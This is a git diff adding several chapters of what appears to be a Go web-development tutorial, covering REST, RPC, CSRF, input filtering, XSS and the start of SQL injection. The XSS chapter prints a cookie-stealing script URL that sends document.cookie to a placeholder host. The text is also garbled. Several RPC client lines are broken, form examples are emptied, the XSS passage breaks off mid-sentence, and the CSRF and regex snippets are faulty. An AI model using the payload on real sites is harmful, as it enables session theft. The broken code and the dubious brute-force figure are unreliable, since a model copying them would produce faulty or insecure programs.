can see that the client and server side implementation of WebSockets is very convenient. We can use the `net` package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a much more important role in modern day web development; we should all be at least a little bit familiar with them. + +## Links + +- [Directory](preface.md) +- Previous section: [Sockets](08.1.md) +- Next section: [REST](08.3.md) diff --git a/de/08.3.md b/de/08.3.md new file mode 100644 index 00000000..3323135f --- /dev/null +++ b/de/08.3.md @@ -0,0 +1,123 @@ +# 8.3 REST + +REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards and it's easy to understand and expand. mOre and more websites are basing their designs on to top of it. In this section, we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to our benefit. + +## What is REST? + +The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas Fielding's doctoral dissertation, who is also just happens to be the co-founder of the HTTP protocol. It specifies the architecture's constraints and principles and anything implemented with architecture can be called a RESTful system. + +Before we understand what REST is, we need to cover the following concepts: + +- Resources + + REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentation layer. + + So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by URI. + +- Representation + + Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For instance, a TXT document can be represented as HTML, JSON, XML, etc; an image can be represented as jpg, png, etc. + + URIs are used to identify resources, but how do we determine its specific manifestations? You should the Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer. + +- State Transfer + + An interactive process is initiated between client and server each time you visit any page of a website. During this process, certain data related to the current page state need to be saved. However, you'll recall that HTTP is a stateless protocol! It's obvious that we need to save this client state on our server side. It follows that if a client modifies some data and wants to persist the changes, there must be a way to inform the server side about the new state. + + Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this: + + -GET is used to obtain resources + -POSTs is used to create or update resources + -PUT updates resources + -DELETE deletes resources + +To summarize the above: + +- (1)Every URI reresents a resource. +- (2)There is a representation layer for transferring resources between clients and servers. +- (3)Clients use four HTTP methods to implement "Presentation Layer State Transfer", allowing them to operate on remote resources. + +The most important principle of web applications that implement REST is that the interaction between clients and servers are stateless; every request should encapsulate all of the required information. Servers should be able to restart at anytime without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal for cloud computing. Lastly, because it's stateless, clients can cache data for improving performance. + +Another important principle of REST is system delamination, which means that components in one layer have no way of interacting directly with components in other layers. This can limit system complexity and encourage independence in the underlying components. + +![](images/8.3.rest2.png?raw=true) + +Figure 8.5 REST architecture + +When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture and improve the visibility of sub-system end points. + +![](images/8.3.rest.png?raw=true) + +Figure 8.6 REST's expansibility. + +## RESTful implementation + +Go doesn't have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the `net/http` package to implement it on our own. Of course, we will first need to make some modifications before we are able to fully implement REST. + +REST uses different methods to handle resources, depending on the interaction that's required with that resource. Many existing applications claim to be RESTful but they do not actually implement REST. I'm going to categorize these applications into several levels depends on which HTTP methods they implement. + +![](images/8.3.rest3.png?raw=true) + +Figure 8.7 REST's level. + +The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules and constraints of REST when developping your own applications because sometimes its rules are not a good fit for all situations. RESTful web applications use every single HTTP method including `DELETE` and `PUT`, but in many cases, HTTP clients can only send `GET` and `POST` requests. + +- HTML standard allows clients send `GET` and `POST` requests through links and forms. It's not possible to send `PUT` or `DELETE` requests without AJAX support. +- Some firewalls intercept `PUT` and `DELETE` requests and clients have to use POST in order to implement them. Fully RESTful services are in charge of finding the original HTTP methods and restoring them. + +We can simulate `PUT` and `DELETE` requests by adding a hidden `_method` field in our POST requests, however these requests must be converted on the server side before they are processed. My personal applications use this workflow to implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example demonstrates: + + package main + + import ( + "fmt" + "github.com/drone/routes" + "net/http" + ) + + func getuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are get user %s", uid) + } + + func modifyuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are modify user %s", uid) + } + + func deleteuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are delete user %s", uid) + } + + func adduser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprint(w, "you are add user %s", uid) + } + + func main() { + mux := routes.New() + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + mux.Del("/user/:uid", deleteuser) + mux.Put("/user/", adduser) + http.Handle("/", mux) + http.ListenAndServe(":8088", nil) + } + +This sample code shows you how to write a very basic REST application. Our resources are users, and we use different functions for different methods. Here, we imported a third-party package called `github.com/drone/routes`. We've already covered how to implement a custom router in previous chapters -the `drone/routes` package implements some very convenient router mapping rules that make it very convenient for implementing RESTful architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same resource. + +## Summary + +REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric, full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations has allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the support that Go has For REST is still very basic. However, by implementing custom routing rules and different request handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps. + +## Links + +- [Directory](preface.md) +- Previous section: [WebSocket](08.2.md) +- Next section: [RPC](08.4.md) diff --git a/de/08.4.md b/de/08.4.md new file mode 100644 index 00000000..2259d222 --- /dev/null +++ b/de/08.4.md @@ -0,0 +1,400 @@ +# 8.4 RPC + +In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both of them use the "information exchange" model, in which clients send requests and servers respond to them. This kind of data exchange is based on a specific format so that both sides are able to communicate with one another. However, many independent applications do not use this model, but instead call services just like they would call normal functions. + +RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions, except they package the function parameters and send them through the network to the server. The server can then unpack these parameters and process the request, executing the results back to the client. + +In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation. + +## RPC working principle + +![](images/8.4.rpc.png?raw=true) + +Figure 8.8 RPC working principle + +Normally, an RPC call from client to server has the following ten steps: + +- 1. Call the client handle, execute transfer arguments. +- 2. Call local system kernel to send network messages. +- 3. Send messages to remote hosts. +- 4. The server receives handle and arguments. +- 5. Execute remote processes. +- 6. Return execution result to corresponding handle. +- 7. The server handle calls remote system kernel. +- 8. Messages sent back to local system kernel. +- 9. The client handle receives messages from system kernel. +- 10. The client gets results from corresponding handle. + +## Go RPC + +Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides because it encodes content using Gob. + +Functions of Go RPC have must abide by the following rules for remote access, otherwise the corresponding calls will be ignored. + +- Functions are exported (capitalize). +- Functions have to have two arguments with exported types. +- The first argument is for receiving from the client, and the second one has to be a pointer and is for replying to the client. +- Functions have to have a return value of error type. + +For example: + + func (t *T) MethodName(argType T1, replyType *T2) error + +Where T, T1 and T2 must be able to be encoded by the `package/gob` package. + +Any kind of RPC has to go through a network to transfer data. Go RPC can either use HTTP or TCP. The benefits of using HTTP is that you can reuse some functions from the `net/http` package. + +### HTTP RPC + +HTTP server side code: + + package main + + import ( + "errors" + "fmt" + "net/http" + "net/rpc" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + rpc.HandleHTTP() + + err := http.ListenAndServe(":1234", nil) + if err != nil { + fmt.Println(err.Error()) + } + } + +We registered a RPC service of Arith, then registered this service on HTTP through `rpc.HandleHTTP`. After that, we are able to transfer data through HTTP. + +Client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +We compile the client and the server side code separately then start the server and client. You'll then have something similar as follows after you input some data. + + $ ./http_c localhost + Arith: 17*8=136 + Arith: 17/8=2 remainder 1 + +As you can see, we defined a struct for the return type. We use it as type of function argument on the server side, and as the type of the second and third arguments on the client `client.Call`. This call is very important. It has three arguments, where the first one is the name of the function that is going to be called, the second is the argument you want to pass, and the last one is the return value (of pointer type). So far we see that it's easy to implement RPC in Go. + +### TCP RPC + +Let's try the RPC that is based on TCP, here is the server side code: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +The difference between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing. + +As you may have guessed, this is a blocking pattern. You are free to use goroutines to extend this application as a more advanced experiment. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +The only difference in the client side code is that HTTP clients use DialHTTP whereas TCP clients use Dial(TCP). + +### JSON RPC + +JSON RPC encodes data to JSON instead of gob. Let's see an example of a Go JSON RPC on the server: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +JSON RPC is based on TCP and doesn't support HTTP yet. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +## Summary + +Go has good support for HTTP, TPC and JSON RPC implementation which allow us to easily develop distributed web applications; however, it is regrettable that Go doesn't have built-in support for SOAP RPC, although some open source third-party packages do offer this. + +## Links + +- [Directory](preface.md) +- Previous section: [REST](08.3.md) +- Next section: [Summary](08.5.md) diff --git a/de/08.5.md b/de/08.5.md new file mode 100644 index 00000000..560e9469 --- /dev/null +++ b/de/08.5.md @@ -0,0 +1,11 @@ +# 8.5 Summary + +In this chapter, I introduced you to several mainstream web application development models. In section 8.1, I described the basics of network programming sockets. Because of the rapid evolution of network technology and infrastructure, and given that the Socket is the cornerstone of these changes, you must master the concepts behind socket programming in order to be a competent web developer. In section 8.2, I described HTML5 WebSockets which support full-duplex communications between client and server and eliminate the need for polling with AJAX. In section 8.3, we implemented a simple application using the REST architecture, which is particularly suitable for the development of network APIs; due to the rapid rise of mobile applications, I believe that RESTful APIs will be an ongoing trend. In section 8.4, we learned about Go RPCs. + +Go provides excellent support for the four kinds of development methods mentioned above. Note that the `net` package and its sub-packages is the place where Go's network programming tools Go reside. If you want a more in-depth understanding of the relevant implementation details, you should try reading the source code of those packages. + +## Links + +- [Directory](preface.md) +- Previous section: [RPC](08.4.md) +- Next chapter: [Security and encryption](09.0.md) diff --git a/de/09.0.md b/de/09.0.md new file mode 100644 index 00000000..0828c312 --- /dev/null +++ b/de/09.0.md @@ -0,0 +1,19 @@ +# 9 Security and encryption +Security is an extremely important aspect of most web applications. This topic has been getting more and more attention lately, especially in light of the recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our applications and take precautions in order to prevent attackers from taking over our systems. + +Many of the security problems that arise in modern web applications originate from data provided by third-parties. For example, user input should always be validated and sanitized before being stored as secure data. If this isn't done, when the data is outputted to a client, it may cause a cross-site scripting attack (XSS). Similarly, if unsafe data is used directly as your application's database queries, then you may be vulnerable to SQL injection attacks. In sections 9.3 and 9.4, we'll look at how to avoid these problems. + +When using third-party data (which includes user-supplied data), first verify the integrity of the data by filtering the input. Section 9.2 will describe how to filter input. + +Unfortunately, filtering input and escaping output does not solve all security problems. In section 9.1, we will explain cross-site request forgery (CSRF) attacks. +This is a malicious exploit where unauthorized commands are transmitted from a user that the website trusts. + +Keeping confidential data encrypted can also help you to secure your web applications. In section 9.5, we will describe how to store passwords safely using Go's encryption package. + +A good hash function makes it hard to find two strings that would produce the same hash value, and this is one way with which we can encrypt our data. There is also two-way encryption, where you use a secret key to decrypt encrypted data. In section 9.6 we will describe how to perform both one-way and two-way encryption. + + +## Links +- [Directory](preface.md) +- Previous Chapter: [Chapter 8 Summary](08.5.md) +- Next section: [CSRF attacks](09.1.md) diff --git a/de/09.1.md b/de/09.1.md new file mode 100644 index 00000000..be1c4a29 --- /dev/null +++ b/de/09.1.md @@ -0,0 +1,97 @@ +# 9.1 CSRF attacks + +## What is CSRF? + +CSRF and XSRF both stand for "Cross-site request forgery". It's also known as a "one click attack" or "session riding". + +So how does a CSRF attack work? A CSRF attack happens when an attacker tricks a trusted user into accessing a website or clicking a URL that transmits malicious requests (without the user’s consent) to a targeted website. Here's a simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find and send malicious links to victims targeted at their user's online banking website. If the victim logs into their online bank account and does not exit, then clicking on a malicious link sent from the attacker could allow the attacker to steal all of the user's bank account funds. + +When under a CSRF attack, a single end-user with an administrator account can threaten the integrity of the entire web application. + +## CSRF principle + +The following diagram provides a simple overview of ​​a CSRF attack + +![](images/9.1.csrf.png?raw=true) + +Figure 9.1 CSRF attack process. + +As can be seen from the figure, to complete a CSRF attack, the victim must complete the following two steps: + +-1. Log into trusted site A, and store a local Cookie. +-2. Without going through existing site A, access the dangerous link to site B. + +As a reader you may be asking: "If I do not meet the above two conditions, I will will not be subjected to CSRF attacks." Yes this is true, however you cannot guarantee that the following does not occur: + +- You cannot guarantee that when you are logged into a site, the site didn't launch any hidden tabs. +- You cannot guarantee that when you close your browser, your cookies will immediately expire and your last session will have ended. +- Trusted, high traffic websites will likely not have hidden vulnerabilities easily exploitable by CSRF based attacks. + +Thus, it can be difficult for users to visit a website through a link and know that it will not carry out unknown operations in the form of a CSRF attack. + +CSRF attacks work mostly because of the process through which users are authenticated. Although you can reasonably guarantee that a request originates from a user's browser, there is no guarantee that the user granted approval for the request. + +## How to prevent CSRF attacks + +You might be a little scared after reading the section above. But fear is a good thing. It will force you educate yourself on how to prevent vulnerabilities like this from happening to you. + +Preventative measures against CSRF attacks can be taken on both the server and client sides of a web application. However, CSRF attacks are most effectively thwarted on the server side. + +There are many ways of preventing CSRF attacks are the server side. Most approaches stem from from the following two aspects: + +1. Maintaining proper use of GET, POST and cookies. +2. Including a pseudo-random number with non-GET requests. + +In the previous chapter on REST, we saw how most web applications are based on GET and POST HTTP requests, and that cookies were included along with these requests. We generally design application as according to the following principles: + +1. GET is commonly used to view information without altering any data. + +2. POST is used in placing orders, changing the properties of a resource or performing other tasks. + +I'm now going to use the Go language to illustrate how to restrict access to resources methods: + + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + +Since we've stipulated that modifications can only use POST, when a GET method is issued instead of a POST, we can refuse to respond to the request. According to the figure above, attacks utilizing GET as a CSRF exploit can be prevented. Is this enough to prevent all possible CSRF attacks? Of course not, because POSTs can also be forged. + +We need to implement a second step, which is (in the case of non-GET requests) to increase the length of the pseudo-random number included with the request. This usually involves steps: + +- For each user, generate a unique cookie token with a pseudo-random value. All forms must contain the same pseudo-random value. This proposal is the simplest one because in theory, an attacker cannot read third party cookies. Any form that an attacker may submit will fail the validation process without knowing what the random value is. +- Different forms contain different pseudo-random values, as we've introduced in section 4.4, "How to prevent multiple form submission". We can reuse the relevant code from that section suit our needs: + +Generating a random number token: + + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + io.WriteString(h, "ganraomaxxxxxxxxx") + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + + +Output token: + + + +Authentication token: + + r.ParseForm() + token := r.Form.Get("token") + if token! = "" { + // Verification token of legitimacy + } Else { + // Error token does not exist + } + +We can use the preceding code to secure our POSTs. You might be wondering, in accordance with our theory, whether there could be some way for a malicious third party to somehow figure out our secret token value? In fact, cracking it is basically impossible -successfully calculating the correct string value using brute force methods needs about 2 to the 11th time. + +## Summary + +Cross-site request forgery, otherwise known as CSRF, is a very dangerous web security threat. It is known in web security circles as a "sleeping giant" security issue; as you can tell, CSRF attacks have quite the reputation. This section not only introduced cross-site request forgery itself, but factors underlying this vulnerability. It concludes with some suggestions and methods for preventing such attacks. I hope this section will have inspired you, as a reader, to write better and more secure web applications. + +## Links +- [Directory](preface.md) +- Previous section: [Security and encryption](09.0.md) +- Next section: [Filter inputs](09.2.md) diff --git a/de/09.2.md b/de/09.2.md new file mode 100644 index 00000000..1af7f49d --- /dev/null +++ b/de/09.2.md @@ -0,0 +1,78 @@ +# 9.2 Filtering inputs + +Filtering user data is one way we can improve the security of our web apps, using it to verify the legitimacy of incoming data. All of the input data is filtered in order to avoid malicious code or data from being mistakenly executed or stored. Most web application vulnerabilities arise form neglecting to filter input data and naively trusting it. + +Our introduction to filtering data is divided into three steps: + +1. identifying the data; we need to filter the data to figure out where it originated form +2. filtering of the data itself; we need to figure out what kind of data we have received +3. distinguish between filtered (sanitized) and tainted data; after the data has been filtered, we can be assured that it is is secure + +## Identifying data + +"Identifying the data" is our first step because most of the time, as mentioned, we don't know where it originates from. Without this knowledge, we would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data comes from clients, however clients that are users are not the only external sources of data. A database interface providing third party data could also be an external data source. + +Data that has been entered by a user is very easy to recognize in Go. We use `r.ParseForm` after the user POSTs a form to get all of the data inside the `r.Form`. Other types of input are much harder to identify. For example in `r.Header`s, many of the elements are often manipulated by the client. It can often be difficult to identify which of these elements have been manipulated by clients, so it's best to consider all of them as having been tainted. The `r.Header.Get("Accept-Charset")` header field, for instance, is also considered as user input, although these are typically only manipulated by browsers. + +## Filtering data + +If we know the source of the data, we can filter it. Filtering is a bit of a formal use of the term. The process is known by many other terms such as input cleaning, validation and sanitization. Despite the fact that these terms somewhat differ in their meaning, they all refer to the same thing: the process of preventing illegal data from making its way into your applications. + +There are many ways to filter data, some of which are less secure than others. The best method is to check whether or not the data itself meets the legal requirements dictated by your application. When attempting to do so, it's very important not to make any attempts at correcting the illegal data; this could allow malicious users to manipulate your validation rules for their own needs, altogether defeating the purpose of filtering the data in the first place. History has proven that attempting to correct invalid data often leads to security vulnerabilities. Let's take a look at an overly simple example for illustration purposes. Suppose that a banking system asks users to supply a secure, 6 digit password. The system validates the length of all passwords. One might naively write a validation rule that corrects passwords of illegal lengths: "If a password is shorter than the legal length, fill in the remaining digits with 0s". This simple rule would allow attackers to guess just the first few digits of a password to successfully gain access to user accounts! + +We can use several libraries to help us to filter data: + +- The strconv package can help us to convert user inputed strings into specific types, since `r.Form`s are maps of string values. Some common string conversions provided by strconv are `Atoi`, `ParseBool`, ` ParseFloat ` and `ParseInt`. +- Go's `strings` package contains some filter functions like `Trim`, `ToLower` and `ToTitle`, which can help us to obtain data in a specific formats, according to our needs. +- Go's `regexp` package can be used to handle cases which are more complex in nature, such as determining whether an input is an email address, a birthday, etc. + +Filtering incoming data in addition to authentication can be quite effective. Let's add another technique to our repertoire, called whitelisting. Whitelisting is a good way of confirming the legitimacy of incoming data. Using this method, if an error occurs, it can only mean that the incoming data is illegal, and not the opposite. Of course, we don't want to make any mistakes in our whitelist by falsely labelling legitimate data as illegal, but this scenario is much better than illegal data being labeled as legitimate, and thus much more secure. + +## Distinguishing between filtered and tainted data + +If you have completed the above steps, the job of filtering data has basically been completed. However when writing web applications, we also need to distinguish between filtered and tainted data because doing so can guarantee the integrity of our data filtering process without affecting the input data. Let's put all of our filtered data into a global map variable called `CleanMap`. Then, two important steps are required to prevent contamination via data injection: + +- Each request must initialize `CleanMap` as an empty map. +- Prevent variables from external data sources named `CleanMap` from being introduced into the app. + +Next, let's use an example form to reinforce these concepts: + +
+ Who am I: + + +
+ +In dealing with this type of form, it can be very easy to make the mistake of thinking that users will only be able to submit one of the three `select` options. In fact, POST operations can easily be simulated by attackers. For example, by submitting the same form with `name = attack`, a malicious user could introduce illegal data into our system. We can use a simple whitelist to counter these types of attacks: + + r.ParseForm() + name := r.Form.Get("name") + CleanMap := make(map[string]interface{}, 0) + if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name + } + +The above code initializes a `CleanMap` variable, and a name is only assigned after checking it against an internal whitelist of legitimate values (`astaxie`, `herry` and `marry` in this case). We store the data in the `CleanMap` instance so you can be sure that `CleanMap["name"]` holds a validated value. Any code wishing to access this value can then freely do so. We can also add an additional `else` statement to the above `if` whitelist for dealing with illegal data, a possibility being that the form was displayed with an error. Do not try to be too accommodating though, or you run the risk of accidentally contaminating your `CleanMap`. + +The above method for filtering data against a set of known, legitimate values is very effective. There is another method for checking whether or not incoming data consists of legal characters using `regexp`, however this would be ineffectual in the above case where we require that the name be an option from the select. For example, you may require that user names only consist of letters and numbers: + + r.ParseForm() + username := r.Form.Get("username") + CleanMap := make(map[string]interface{}, 0) + if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { + CleanMap["username"] = username + } + +## Summary + +Data filtering plays a vital role in the security of modern web applications. Most security vulnerabilities are the result of improperly filtering data or neglecting to properly validate it. Because the previous section dealt with CSRF attacks and the next two will be introducing XSS attacks and SQL injection, there was no natural segue into dealing with as important a topic as data sanitization, so in this section, we paid special attention to it. + +## Links + +- [Directory](preface.md) +- Previous section: [CSRF attacks](09.1.md) +- Next section: [XSS attacks](09.3.md) diff --git a/de/09.3.md b/de/09.3.md new file mode 100644 index 00000000..178c7692 --- /dev/null +++ b/de/09.3.md @@ -0,0 +1,62 @@ +# 9.3 XSS attacks + +With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by. + +## What is XSS + +As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval. + +XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden ``. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack? + +Just like before, we have a URL: + +`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>` + +By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities. + +For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" + +## How to prevent XSS + +The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks. + +Use the following techniques to defend against XSS attacks: + +- Filter special characters + +One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few. + +- Specify the content type in your HTTP headers + +`w.Header().Set("Content-Type","text/javascript")` + +This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner. + +## Summary + +Introducing XSS vulnerabilities is a very real hazard when developping web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS. + +## Links + +- [Directory](preface.md) +- Previous section: [Filter inputs](09.2.md) +- Next section: [SQL injection](09.4.md) diff --git a/de/09.4.md b/de/09.4.md new file mode 100644 index 00000000..d8823175 --- /dev/null +++ b/de/09.4.md @@ -0,0 +1,75 @@ +# 9.4 SQL injection + +## What is SQL injection + +SQL injection attacks are (as the name would suggest) one of the many types of script injection attacks. In web development, these are the most common form of security vulnerabilities. Attackers can use it to obtain sensitive information from databases, and aspects of an attack can involve adding users to the database, exporting private files, and even obtaining the highest system privileges for their own nefarious purposes. + +SQL injection occurs when web applications do not effectively filter out user input, leaving the door wide open for attackers to submit malicious SQL query code to the server. Applications often receive injected code as part of an attacker's input, which alters the logic of the original query in some way. When the application attempts to execute the query, the attacker's malicious code is executed instead. + +## SQL injection examples + +Many web developers do not realize how SQL queries can be tampered with, and may hold the misconception that they are trusted commands. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing the standard authentication and authorization checks. What's more, it's possible to run SQL queries through commands at the level of the host system. + +Let's have a look at some real examples to explain the process of SQL injection in detail. + +Consider the following simple login form : + +
+

Username:

+

Password:

+

+
